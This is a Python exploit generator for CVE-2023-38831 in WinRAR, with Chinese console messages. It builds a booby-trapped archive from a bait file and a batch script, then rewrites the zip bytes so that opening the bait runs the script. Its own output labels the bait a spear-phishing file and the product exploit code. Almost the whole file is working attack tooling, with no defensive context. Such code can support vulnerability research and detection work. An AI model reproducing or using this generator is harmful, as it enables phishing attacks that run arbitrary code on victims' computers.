1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
|
import shutil import os import sys
TEMPLATE_NAME = "TEMPLATE" OUTPUT_NAME = "CVE-2023-38831-poc.rar"
BAIT_NAME = "test.txt" SCRIPT_NAME = "test.bat"
def main(): global BAIT_NAME, SCRIPT_NAME, OUTPUT_NAME
if len(sys.argv) > 3: BAIT_NAME = os.path.basename(sys.argv[1]) SCRIPT_NAME = os.path.basename(sys.argv[2]) OUTPUT_NAME = os.path.basename(sys.argv[3]) elif len(sys.argv) == 2 and sys.argv[1] == "poc": pass else: print("""用法: python cve-2023-38831-exp-gen.py poc python cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""") sys.exit()
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("鱼叉文件名:", BAIT_NAME) print("脚本文件名:", SCRIPT_NAME) print("输出文件名:", OUTPUT_NAME)
if os.path.exists(TEMPLATE_NAME): shutil.rmtree(TEMPLATE_NAME) os.mkdir(TEMPLATE_NAME) d = os.path.join(TEMPLATE_NAME, BAIT_NAME + "A") if not os.path.exists(d): os.mkdir(d)
shutil.copyfile(SCRIPT_NAME, os.path.join(d, BAIT_NAME + "A.cmd")) shutil.copyfile(BAIT_NAME, os.path.join(TEMPLATE_NAME, BAIT_NAME + "B"))
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
with open(TEMPLATE_NAME + ".zip", "rb") as f: content = f.read() content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ") content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(OUTPUT_NAME, "wb") as f: f.write(content)
print("成功生成漏洞利用代码。")
if __name__ == "__main__": main()
|